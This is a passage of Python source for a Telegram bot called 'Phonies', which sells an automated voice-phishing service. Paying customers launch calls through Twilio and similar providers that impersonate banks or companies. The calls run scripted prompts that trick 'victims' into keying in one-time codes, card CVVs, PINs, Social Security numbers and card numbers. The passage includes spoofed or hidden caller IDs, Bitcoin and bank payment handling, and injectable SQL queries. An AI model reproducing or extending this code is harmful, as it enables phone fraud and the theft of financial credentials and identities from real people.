"cobadulu"): code = f"{code}_{sender}" execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format("TRIAL", code, 1)) print(code, file=sys.stderr) voucher = query_many(PHONY_DB, "SELECT * FROM voucher WHERE kode = '{}'".format(code)) if (not voucher): send_message( sender, "ā *INVALID*: Try Again or type *exit* to cancel the process." ) return voucher = voucher[0] if (voucher[3]): send_message( sender, "ā *USED* by {}.".format(get_name(voucher[3])) ) return execute_statement(PHONY_DB, "INSERT INTO users VALUES ('{}', '{}', '{}', '{}')".format(sender, voucher[0], datetime.now() + timedelta(days= int(voucher[2])), '1')) execute_statement(PHONY_DB, "UPDATE voucher SET used_by = '{}' WHERE kode = '{}'".format(sender, code)) send_message( sender, "ā *REGISTRED*\n\n*Account Type*: {}\n*Duration*: {}\n\nWelcome to *Phonies* Calls, you can do anything you like.".format(voucher[0].upper(), voucher[2]) ) # send message to first user of admin tipe tell there a new user registered admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'") if (admin): send_message( admin[0][0], "New user registered as {} with id '{}' ({}) for {} days".format(voucher[0], get_name(sender), sender, voucher[2]) ) del step_2[current_cmd][sender] if "purchase" in current_cmd: if ("exit" in message_text or "/exit" in message_text): # del btn_step[sender] del step_2[current_cmd][sender] send_message(sender, "ā *CANCELLED*: You already exit the process.") return step = step_2[current_cmd][sender]['country'] if (not step_2[current_cmd][sender].get("invoice", False)): pricing = json.load(open("price.json")) marginup = 0 if sender in referral_trx: refcode = referral_trx[sender] reff = query(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(refcode)) marginup = reff[3] else: marginup = 5 for priece in pricing: pricing[priece] += round(pricing[priece] * (marginup / 100)) if (step == "cn"): message_text = message_text.lower().replace("day", "").replace(" ", "") if (message_text.isdigit()): step_2[current_cmd][sender]["days"] = int(message_text) amount = 0 for price in pricing: if (int(price)) > int(message_text): amount = price_cny(pricing[price]) break if (int(message_text) > 99999): amount = price_cny(pricing[price]) break step_2[current_cmd][sender]['amount'] = amount step_2[current_cmd][sender]['total'] = int(message_text) * amount step_2[current_cmd][sender]['payment'] = "Bitcoin" step_2[current_cmd][sender]['pay_to'] = "bc1q0vxlk0jkkd8n7dzu725kztp7my030m8x2xynd4" step_2[current_cmd][sender]['randomcode'] = random.uniform(0.111, 0.999) totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode'] send_message( sender, f"""*Phonies* _Invoice_ š _We're generating an Payment Invoice for your payment request_ *INVOICE DETAILS* ā«ļø Price / Day: *{cny(amount)}* ā«ļø Total Payment: *{cny(round(totalbay, 2))}* (include random code) ā«ļø Voucher Duration: *{message_text} days* *PAYMENT METHOD* _Instant Confirmation_ ā«ļø Bitcoin (BTC): {step_2[current_cmd][sender]['pay_to']} Please wait for your transaction to be confirmed, and you can confirm your transaction """, buttons([ button("Confirm šµ", f"paid_cn") ]) ) step_2[current_cmd][sender]["invoice"] = True return else: send_message(sender, "Send me the number of days you want to purchase, for example: 30") return if (step == "ru"): message_text = message_text.lower().replace("day", "").replace(" ", "") if (message_text.isdigit()): step_2[current_cmd][sender]["days"] = int(message_text) amount = 0 for price in pricing: if (int(price)) > int(message_text): amount = price_rub(pricing[price]) break if (int(message_text) > 99999): amount = price_rub(pricing[price]) break step_2[current_cmd][sender]['amount'] = amount step_2[current_cmd][sender]['total'] = int(message_text) * amount step_2[current_cmd][sender]['payment'] = "Bitcoin" step_2[current_cmd][sender]['pay_to'] = "bc1q0vxlk0jkkd8n7dzu725kztp7my030m8x2xynd4" step_2[current_cmd][sender]['randomcode'] = random.uniform(0.11, 0.99) totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode'] send_message( sender, f"""*Phonies* _Invoice_ š _We're generating an Payment Invoice for your payment request_ *INVOICE DETAILS* ā«ļø Price / Day: *{rub(amount)}* ā«ļø Total Payment: *{rub(round(totalbay, 2))}* (include random code) ā«ļø Voucher Duration: *{message_text} days* *PAYMENT METHOD* _Instant Confirmation_ ā«ļø Bitcoin (BTC): {step_2[current_cmd][sender]['pay_to']} Please wait for your transaction to be confirmed, and you can confirm your transaction """, buttons([ button("Confirm šµ", f"paid_ru") ]) ) step_2[current_cmd][sender]["invoice"] = True return else: send_message(sender, "Send me the number of days you want to purchase, for example: 30") return if (step == "global"): message_text = message_text.lower().replace("day", "").replace(" ", "") if (message_text.isdigit()): step_2[current_cmd][sender]["days"] = int(message_text) amount = 0 for price in pricing: if (int(price)) > int(message_text): amount = price_usd(pricing[price]) break if (int(message_text) > 99999): amount = price_usd(pricing[price]) break step_2[current_cmd][sender]['amount'] = amount step_2[current_cmd][sender]['total'] = int(message_text) * amount step_2[current_cmd][sender]['payment'] = "Bitcoin" step_2[current_cmd][sender]['pay_to'] = "bc1q0vxlk0jkkd8n7dzu725kztp7my030m8x2xynd4" step_2[current_cmd][sender]['randomcode'] = random.uniform(0.111, 0.999) totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode'] send_message( sender, f"""*Phonies* _Invoice_ š _We're generating an Payment Invoice for your payment request_ *INVOICE DETAILS* ā«ļø Price / Day: *{usd(amount)}* ā«ļø Total Payment: *{usd(round(totalbay, 2))}* (include random code) ā«ļø Voucher Duration: *{message_text} days* *PAYMENT METHOD* _Instant Confirmation_ ā«ļø Bitcoin (BTC): {step_2[current_cmd][sender]['pay_to']} Please wait for your transaction to be confirmed, and you can confirm your transaction """, buttons([ button("Confirm šµ", f"paid_global") ]) ) step_2[current_cmd][sender]["invoice"] = True return else: send_message(sender, "Send me the number of days you want to purchase, for example: 30") return if (step == "id"): message_text = message_text.lower().replace("hari", "").replace(" ", "") if (message_text.isdigit()): step_2[current_cmd][sender]["days"] = int(message_text) amount = 0 for price in pricing: if (int(price)) > int(message_text): amount = pricing[price] break if (int(message_text) > 99999): amount = pricing[price] break step_2[current_cmd][sender]['amount'] = amount step_2[current_cmd][sender]['total'] = int(message_text) * amount step_2[current_cmd][sender]['payment'] = "GoPay" step_2[current_cmd][sender]['pay_to'] = "0895610086708" step_2[current_cmd][sender]['randomcode'] = random.randint(100, 999) totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode'] send_message( sender, f"""*Phonies* _Invoice_ š _We're generating an Payment Invoice for your payment request_ *INVOICE DETAILS* ā«ļø Price / Day: *{rupiah(amount)}* ā«ļø Total Payment: *{rupiah(totalbay)}* (include random code) ā«ļø Voucher Duration: *{message_text} days* *PAYMENT METHOD* _Instant Confirmation_ ā«ļø *BCA* (_Virtual Account_): {four_format('70001' + step_2[current_cmd][sender]['pay_to'])} ā«ļø *Permata*: {four_format('898' + step_2[current_cmd][sender]['pay_to'])} ā«ļø *CIMB Niaga*: {four_format('2849' + step_2[current_cmd][sender]['pay_to'])} ā«ļø *BTN*: {four_format('99000' + step_2[current_cmd][sender]['pay_to'])} Payment methods other than _BCA Virtual Accounts_ can be used to receive transfers from other banks in Indonesia """, buttons([ button("Confirm šµ", f"paid_id") ]) ) reffs = query_many(PHONY_DB, f"SELECT * FROM referral WHERE user_id = '{sender}'") if (reffs): reffs = reffs[0] if (int(reffs[1]) >= int(totalbay)): send_message(sender, f"š *CONGRATULATION*: You can using your Referral Balance to pay this invoice, your balance is *{rupiah(int(reffs[1]))}*", buttons([button("Use Balance šµ", f"paid_ref")])) step_2[current_cmd][sender]["invoice"] = True return else: send_message(sender, "Send me the number of days you want to purchase, for example: 30") return else: del step_2[current_cmd][sender] if "company" in current_cmd: if ("exit" in message_text or "/exit" in message_text): # del btn_step[sender] del step_2[current_cmd][sender] send_message(sender, "ā *CANCELLED*: Cancel customizing company.") return step = step_2[current_cmd][sender]['step'] if (step == 1): custom_name = message_text.replace(" ", "_").lower() if (custom_name in provider): send_message( sender, "The company name you provide is not available, please send me another one." ) return step_2[current_cmd][sender]["custom"]["name"] = custom_name step_2[current_cmd][sender]["step"] = 2 opt_lang = { "en-US_lang": "English šŗšø", "en-GB_lang": "English š¬š§", "en-GB-WLS_lang": "English Wales š“ó §ó ¢ó ·ó ¬ó ³ó æ", "en-IN_lang": "English š®š³", "en-AU_lang": "English š¦šŗ", "arb_lang": "Arab šøš¦", "cmn-CN_lang": "Mandarin šØš³", "cy-GB_lang": "Welsh š“ó §ó ¢ó ·ó ¬ó ³ó æ", "da-DK_lang": "Danish š©š°", "de-DE_lang": "German š©šŖ", "es-ES_lang": "EspaƱol šŖšø", "es-MX_lang": "EspaƱol š²š½", "es-US_lang": "EspaƱol šŗšø", "fr-FR_lang": "French š«š·", "fr-CA_lang": "French šØš¦", "hi-IN_lang": "Hindi š®š³", "is-IS_lang": "IceLandic š®šø", "it-IT_lang": "Italian š®š¹", "ja-JP_lang": "Japanese šÆšµ", "ko-KR_lang": "Korean š°š·", "nb-NO_lang": "Norwegian š³š“", "nl-NL_lang": "Nederlands š³š±", "pl-PL_lang": "Polish šµš±", "pt-PT_lang": "Portuguese šµš¹", "pt-BR_lang": "Portuguese š§š·", "ro-RO_lang": "Romanian š·š“", "ru-RU_lang": "Russian šŗšø", "sv-SE_lang": "Swedish šøšŖ", "tr-TR_lang": "Turkish š¹š·" } send_message(sender, f"Your company name is set to: {custom_name}") # opt_lang = [dict(list(opt_lang.items())[i:i+3]) for i in range(0, len(opt_lang), 3)] buttons_list = [] for lang in opt_lang: buttons_list.append(button(opt_lang[lang], lang)) send_message(sender, "Please choose the language", buttons(buttons_list)) send_message(sender, "If there no choices of your Language, just using 'skip'") if (step == 3): send_message(sender, f"Welcome Letter: {message_text}") send_message(sender, "Please enter the Instruction Letter,\nEx: 'and, to confirm this activity, open your keypad or dialpad. then, press 1 if that is you, or press 2 if that is not you.' \n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work.") step_2[current_cmd][sender]["custom"]["msg1"] = message_text step_2[current_cmd][sender]["step"] = 4 if (step == 4): send_message(sender, f"Instruction Letter: {message_text}") send_message(sender, "Please send me the approve letter for victim,\nEx: 'to confirm the process, we will send you a one time code via text message, enter the code on your keypad or dialpad' (reply with skip if you want to skip the approve option) \n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work.") step_2[current_cmd][sender]["custom"]["msg2"] = message_text step_2[current_cmd][sender]["step"] = 5 if (step == 5): send_message(sender, f"Approve Letter: {message_text}") send_message(sender, "Please send me the reject letter for victim,\nEx: 'to confirm the process, we will send you a one time code via text message, enter the code on your keypad or dialpad' (reply with skip if you want to skip the reject option) \n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work.") step_2[current_cmd][sender]["custom"]["approve"] = message_text step_2[current_cmd][sender]["custom"]["1"] = bool(message_text != "skip") step_2[current_cmd][sender]["step"] = 6 if (step == 6): send_message(sender, f"Reject Letter: {message_text}") step_2[current_cmd][sender]["custom"]["decline"] = message_text step_2[current_cmd][sender]["custom"]["2"] = bool(message_text != "skip") provider[step_2[current_cmd][sender]["custom"]["name"]] = step_2[current_cmd][sender]["custom"] with open("provider.json", 'w') as outfile: json.dump(provider, outfile) send_message(sender, f"""Review custom letter of your company: Company Name: {step_2[current_cmd][sender]["custom"]["name"]} Language: {step_2[current_cmd][sender]["custom"]["lang"]} Welcome Letter: {step_2[current_cmd][sender]["custom"]["msg1"]} Instruction Letter: {step_2[current_cmd][sender]["custom"]["msg2"]} Approve Letter: {step_2[current_cmd][sender]["custom"]["approve"]} - as {step_2[current_cmd][sender]["custom"]["1"]} Reject Letter: {step_2[current_cmd][sender]["custom"]["decline"]} - as {step_2[current_cmd][sender]["custom"]["2"]} Note: Please make sure, your letter already on the language you are choosing before, or re-start from the beginning. """) del step_2[current_cmd][sender] if "extends" in current_cmd: code = message_text user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) voucher = query_many(PHONY_DB, "SELECT * FROM voucher WHERE kode = '{}'".format(code)) if (not voucher): send_message( sender, "ā *INVALID*: Your voucher code not working." ) return voucher = voucher[0] if (voucher[3]): send_message( sender, "ā *USED* by {}.".format(get_name(voucher[3])) ) return if (voucher[0] != user[1]): if (user[1] != "user"): send_message( sender, "ā *NOT ELIGIBLE*: You cannot use this voucher." ) return execute_statement(PHONY_DB, f"UPDATE users SET expired = '{ datetime.strptime(user[2], '%Y-%m-%d %H:%M:%S.%f') + timedelta(days= int(voucher[2])) }' WHERE user_id = '{sender}'") execute_statement(PHONY_DB, f"UPDATE users SET tipe = '{voucher[0]}' WHERE user_id = '{sender}'") execute_statement(PHONY_DB, "UPDATE voucher SET used_by = '{}' WHERE kode = '{}'".format(sender, code)) send_message( sender, "ā *SUCCESSFULLY*: Your account was updated for {} days.".format(voucher[2]) ) # send message to first user of admin tipe tell there a user extends it Duration admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'") if (admin): send_message( admin[0][0], "User '{}' ({}) extends it duration for {} days".format(get_name(sender), sender, voucher[2]) ) del step_2[current_cmd][sender] if current_cmd: return # based on message_text def check_user(): user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if (not user): send_message( sender, "ā *UNAUTHORIZED*: You are not authorized to access this feature." ) return False user = user[0] if (user[3] == "0"): send_message( sender, "ā *ACCOUNT DISABLE*: Contact our staff for futher information." ) return False exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f") if (exp < datetime.now()): send_message( sender, "ā *EXPIRED*: Purchase voucher at 'purchase' to activate your account" ) execute_statement(PHONY_DB, "DELETE FROM users WHERE user_id = '{}'".format(sender)) return False return True def check_admin(): user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if (not user): send_message( sender, "ā *UNAUTHORIZED*: You are not authorized to access this feature." ) return False user = user[0] if (user[1] != "admin"): send_message( sender, "ā *ACCESS DENIED*: You don't have permission to access this feature." ) return False return True if "/purchase" == message_text: send_message(sender, "Before making any purchase, Please reply with your referral code. \n\nIf you don't have any, please reply by type ```skip```" ) step_2["referral"][sender] = { "step": 0 } return if "/backup" == message_text: if not check_admin(): return with open(PHONY_DB, 'rb') as doc: bot.send_document(sender, doc) with open("phony.py", 'rb') as doc: bot.send_document(sender, doc) with open("phony.json", 'rb') as doc: bot.send_document(sender, doc) return if "/enable_voice" == message_text: if not check_admin(): return configuration["telegram"]["enableVoice"] = True with open('phony.json', 'w') as outfile: json.dump(configuration, outfile) send_message(sender, "ā *ENABLED*") return if "/disable_voice" == message_text: if not check_admin(): return configuration["telegram"]["enableVoice"] = False with open('phony.json', 'w') as outfile: json.dump(configuration, outfile) send_message(sender, "ā *DISABLED*") return if "/status_voice" == message_text: if not check_admin(): return if (configuration["telegram"]["enableVoice"]): send_message(sender, "ā *ENABLED*") else: send_message(sender, "ā *DISABLED*") return if "/compensation" in message_text: if not check_admin(): return if (len(message_text.split(" ")) != 2): send_message(sender, "ā *INVALID*: Please use /compensation <day>") return day = message_text.split(" ")[1] if (not day.isdigit()): send_message(sender, "ā *INVALID*: Please use /compensation <day>") return day = int(day) users = query_many(PHONY_DB, "SELECT * FROM users") user_list = "" for user in users: exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f") if (exp < datetime.now()): pass else: user_list += f"{get_name(user[0])}\n" execute_statement(PHONY_DB, f"UPDATE users SET expired = '{ datetime.strptime(user[2], '%Y-%m-%d %H:%M:%S.%f') + timedelta(days= day) }' WHERE user_id = '{user[0]}'") send_message( sender, "ā *SUCCESSFULLY*: All active user has been compensate for {} days.\n\n {}".format(day, user_list) ) return if "/twilio" == message_text: if not check_admin(): return try: balance = requests.get(f"https://api.twilio.com/2010-04-01/Accounts/{configuration['twilio']['account_sid']}/Balance.json", auth=(configuration['twilio']['account_sid'], configuration['twilio']['auth_token'])).json() number_list = "" for number in configuration["twilio"]["phone"]: number_list += f"{number}\n" send_message( sender, f"""*Here your Twilio balance of:*\n\n*Account SID:* {configuration["twilio"]["account_sid"]}\n\n*Auth Token:* {configuration["twilio"]["auth_token"]}\nBalance: {balance.get('balance', '-1')} {balance.get("currency", "IDR")}\n\n*Number List:* \n{number_list}\n*If you would like to change your API Key, you can do it by using '/set_twilio' command.\n\nAnd you can purchase & add new Phone Number by using '/add_number' command.*""" ) return except Exception as e: err = repr(e) send_message( sender, f"Error: {err}" ) return if ("/telnyx" == message_text): if not check_admin(): return try: balance = telnyx.Balance.retrieve() send_message( sender, f"Here your Telnyx balance of:\n\nAPI Key: *{telnyx.api_key}*\nVoice ID: {configuration['telnyx']['texml_uid']}\nBalance: {balance.get('balance', '-1')} USD\n\n*If you would like to change your API Key, you can do it by using /set_telnyx command.*" ) return except Exception as e: err = repr(e) send_message( sender, f"Error: {err}" ) return if ('/set_telnyx' == message_text): if not check_admin(): return send_message( sender, "Please send me your Telnyx API Key." ) step_2["telnyx"][sender] = 1 return if ('/set_twilio' == message_text): if not check_admin(): return send_message( sender, "Please send me your Twilio Account SID." ) step_2["twilio"][sender] = 1 return if ('/add_number' in message_text): if not check_admin(): return if len(message_text.split(" ")) <= 1: send_message( sender, "Please specify your area code. */add_number <area code>*" ) return area_code = message_text.split(" ")[1] local = twl.available_phone_numbers('US').local.list( area_code=area_code, limit=1 ) if (len(local) < 1): send_message( sender, "ā *ERROR*: No available number for this area code." ) return number = local[0].phone_number region = local[0].region buy_number = twl.incoming_phone_numbers.create(phone_number=number) if (buy_number): configuration['twilio']['phone'].append(number) with open("phony.json", 'w') as outfile: json.dump(configuration, outfile) send_message( sender, f"ā *SUCCESSFULLY*: The new number is {number} has been added to your account." ) MSG = f"""ā *NEW PHONE NUMBER* *Phonies* add an new Phone Number for Gate 3 (TWILIO) āļø *Number* š¢: {number} *State* šŗšø: {region} This number will be your Randomise List of Caller Number when using Gate 3 (TWILIO) š """ send_message(TELE_CHANNEL, MSG) return return if "/help" == message_text: send_message(sender, command_res['help']) return if "/start" == message_text: send_message(sender, command_res['help']) return if "/clear" == message_text: if not check_admin(): return # delete all data execute_statement(PHONY_DB, "DELETE FROM data") global ongoing_call, ongoing_call_command, delete_list_call ongoing_call = {} ongoing_call_command = {} delete_list_call = {} # btn_step = {} # step_2 = { # "redeem": {}, # "extends": {}, # "purchase": {}, # "telnyx": {}, # "company": {} # } send_message(sender, "ā *SUCCESSFULLY*: All temporary data has been purged.") return if "/neural" == message_text: msg = "*šŗšø Phonies* _Neural Voice_\n\n*NEURAL VOICE*\n\n" keBrp = 0 for i in NEURAL_LIST: ccode = i.split("-") ccode = ccode[len(ccode) -1] ccode = i.replace(f"-{ccode}", "") i = f"{i}" if " " in i: i = i.replace(" ", " ") else: i += "" msg += f"ā«ļø {i}\nfor: *{COUNTRY_CODE[ccode]}*\n\n" keBrp += 1 if keBrp == 28: send_message(sender, msg) msg = "" keBrp = 0 send_message(sender, "We have a lot of available Neural voice you can use for your call.\n*Find voices here*: shorturl.at/hlCEV\n*Listen to them here*: shorturl.at/ijuy4\n\nAre you confused? look our call guidance by reply /call, and voila! you can call anyone you want.") return if "/countries" == message_text: send_message(sender, command_res['countries']) return if "/status" == message_text: statos = { "/call": "*Maintenance* ā", "/call_v2": "*Maintenance* ā", "/call_v3": "*Maintenance* ā" } try: telnyx.Balance.retrieve() statos['/call'] = "*Active* ā " except Exception as e: pass try: balance = requests.get(f"https://api.twilio.com/2010-04-01/Accounts/{configuration['twilio']['account_sid']}/Balance.json", auth=(configuration['twilio']['account_sid'], configuration['twilio']['auth_token'])).json() statos['/call_v3'] = "*Active* ā " except Exception as ee: pass try: req = "https://callingapi.sinch.com/v1/calling/query/number/+6281379265814" requests.get(req, headers=v2_headers).json() statos['/call_v2'] = "*Active* ā " except: pass list_status = "" for sts in statos: list_status += f"""*{sts}* is {statos[sts]} \n""" send_message(sender, """*Phonies* Modules Status\n\n""" + list_status) return if "/modules" == message_text: send_message(sender, command_res['modules']) return if "/companies" == message_text: if check_user(): provider_list = "" for i in provider: provider_list += f"ā«ļø {provider[i]['lang']} - {i}\n" for provider_listed in split_message(provider_list): send_message( sender, f"ā The Companies listed on Our System\n\n{provider_listed}" ) return if "/company" in message_text: if check_user(): if len(message_text.split(" ")) > 1: provider_name = message_text.split(" ")[1] if provider_name == "create": step_2['company'][sender] = { "step": 1, "custom": { "name": "", "msg1": "", "msg2": "", "approve": "", "decline": "", "1": "", "2": "", "lang": "en-US" } } send_message(sender, "Please send me the company name.") return if provider_name in provider: send_message( sender, f"""Here is the detail of {provider_name}:\n Name: {provider[provider_name]['name']} Lang: {provider[provider_name]['lang']}\n Welcome Letter: {provider[provider_name]['msg1']}\n Instruction: {provider[provider_name]['msg2']}\n Approve: {provider[provider_name]['approve']} - as {provider[provider_name]['1']}\n Decline: {provider[provider_name]['decline']} - as {provider[provider_name]['2']}""" ) return else: send_message( sender, "The company you are looking for is not available." ) return send_message(sender, command_res['company']) return if "/redeem" in message_text: user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if (user): if (datetime.strptime(user[0][2], "%Y-%m-%d %H:%M:%S.%f") > datetime.now()): send_message( sender, f"Dear *{get_first_name(sender)}*, your account is still active, to extend your account please type /renew instead." ) return else: execute_statement(PHONY_DB, "DELETE FROM users WHERE user_id = '{}'".format(sender)) step_2['redeem'][sender] = 1 send_message(sender, "š¢ Reply with your *voucher code*") return if "/renew" in message_text: user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if (not user): send_message( sender, "You don't have an active account, please register your account first." ) return user = user[0] exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f") if (exp < datetime.now()): send_message( sender, "Please user 'redeem' instead using '/renew', because your account already expired." ) return step_2['extends'][sender] = 1 send_message(sender, "š¢ Reply with your *voucher code*") return if "/staff" == message_text: admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'") if (not admin): send_message(sender, "There is no admin in our database") return msg = "š *Phonies* Staff ready to help you\n" for i in admin: msg += f"\nā«ļø {get_name(i[0])}" send_message(sender, msg) return if "/call_v3" in message_text: if (" " not in message_text): send_message(sender, command_res['call_v3']) return if message_text.split(" ")[0] == "/call_v3": if not check_user(): return call_type = message_text.split(" ")[1].lower() phone_number = message_text.split(" ")[2] # format the phone_number phone_number = phone_number.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "") if ("+" not in phone_number): if (phone_number[0] == "1"): phone_number = f"+{phone_number}" else: phone_number = f"+1{phone_number}" phona = '' target_name = message_text.split(" ")[3].replace("_", " ").replace("-", " ") otp_digits = message_text.split(" ")[5] prov = message_text.split(" ")[4].lower() + f"_{call_type}" if call_type != "custom" else message_text.split(" ")[4].lower() prov = prov.replace("?", "") if "?" in prov else prov provider = json.load(open("provider.json")) spliter = message_text.split(" ? ")[0] if (" ? " in message_text) else message_text.split("?")[0] if ("?" in message_text) else message_text phona = spliter.split(" ")[6] if (len(spliter.split(" ")) > 6) else "" phona = " ".join(phona) if (phona) else phona if (prov not in provider): registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = call_type formatted_provider = prov.replace(f"_{custom_req}", " ").replace("-", " ").replace("_", " ") prov = f"{prov}" lettering = { "otp": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "cvv": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type the card CVV or CVC, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type the card CVV or CVC, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "csc": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type the card CSC or CID, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type the card CSC or CID, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "auth": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Open your authenticator app. And type the code on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, Open your authenticator app. And type the code on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "pin": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": f"As part of the confirmation, Please type your {formatted_provider} PIN code, on your dial pad or keypad", "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} PIN code, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "ssn": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type your Social Security Number, on your dial pad or keypad", "decline": "As part of the confirmation to block the login attempt, Please type your Social Security Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "card": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, Please type your Card Number, on your dial pad or keypad", "decline": "As part of the confirmation to block the charges attempt, Please type your Card Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "acc": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.", "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": f"As part of the confirmation, Please type your {formatted_provider} Account Number, on your dial pad or keypad", "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} Account Number, on your dial pad or keypad.", "1": True, "2": True, "lang": "en-US" }, "exp": { "name": prov, "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ", "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.", "approve": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad", "decline": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad", "1": True, "2": True, "lang": "en-US" }, } provider[prov] = lettering[custom_req] # save custom_provider json to provider.json file with open("provider.json", "w") as f: json.dump(provider, f) send_message( sender, f"ā *NOT REGISTRED*: {prov}\nHowever *Phonies* already create it for you! ā ", ) call_from = configuration["twilio"]["phone"] call_from = call_from[random.randrange(len(call_from))] call_from = "464" if "hide" in message_text.lower() else call_from from_formatted = "ANONYMOUS" if "hide" in message_text.lower() else phone_format(call_from) send_message( sender, f"ā¹ļø *Call Details* (_v3_)\n\n*From*: {from_formatted}\n*To*: {phone_format(phone_number)}" ) call_id = "-" call_control = "twilio" webhook_url = configuration["ngrok"]["url"] + "/twilio/outgoing" try: res = VoiceResponse() res.redirect(webhook_url, method="POST") call_twl = twl.calls.create( timeout = 25, record = True, machine_detection = 'DetectMessageEnd', status_callback=webhook_url + "_status", status_callback_method='POST', twiml = str(res), to = phone_number, from_ = call_from ) call_id = call_twl.sid ongoing_call[call_id] = "" ongoing_call_command[call_id] = message_text delete_list_call[call_id] = [] except Exception as e: err = repr(e) send_message( sender, f"*Error: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*", ) return # insert data to data table execute_statement(PHONY_DB, f"""INSERT INTO data VALUES ('{call_control}', '{call_from}', '{phone_number}', '{target_name}', '', '', 'call', '', '{webhook_url}', '{int(otp_digits)}', '{prov}', '', '', '{configuration["sinch"]["key"]}', '{configuration["sinch"]["secret"]}', '{call_id}', '{phona}', '{sender}', '{sender}')""") # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id') send_message( sender, f"{status_dict['call.inprogress']}" ) btnnya = [ button("š Hangup", f"hangup") ] if "retry" in message_text: btnnya.append(button("ā STOP Retry", f"stop_retry")) send_message( sender, f"{status_dict['call.initiated']}", buttons(btnnya) ) # check sender tipe user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender)) if ("TRIAL" in user[1]): # update users expired to now execute_statement(PHONY_DB, f"UPDATE users SET expired = '{datetime.now()}' WHERE user_id = '{sender}'") send_message(sender, "Your trial is used, please purchase a voucher to continue using *Phonies* Calls.") return if "/call_v2" in message_text: if (" " not in message_text): send_message(sender, command_res['call_v2']) return if message_text.split(" ")[0] == "/call_v2": if not check_user(): return call_type = message_text.split(" ")[1].lower() phone_number = message_text.split(" ")[2] # format the phone_number phone_number = phone_number.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "") if ("+" not in phone_number): if (phone_number[0] == "1"): phone_number = f"+{phone_number}" else: phone_number = 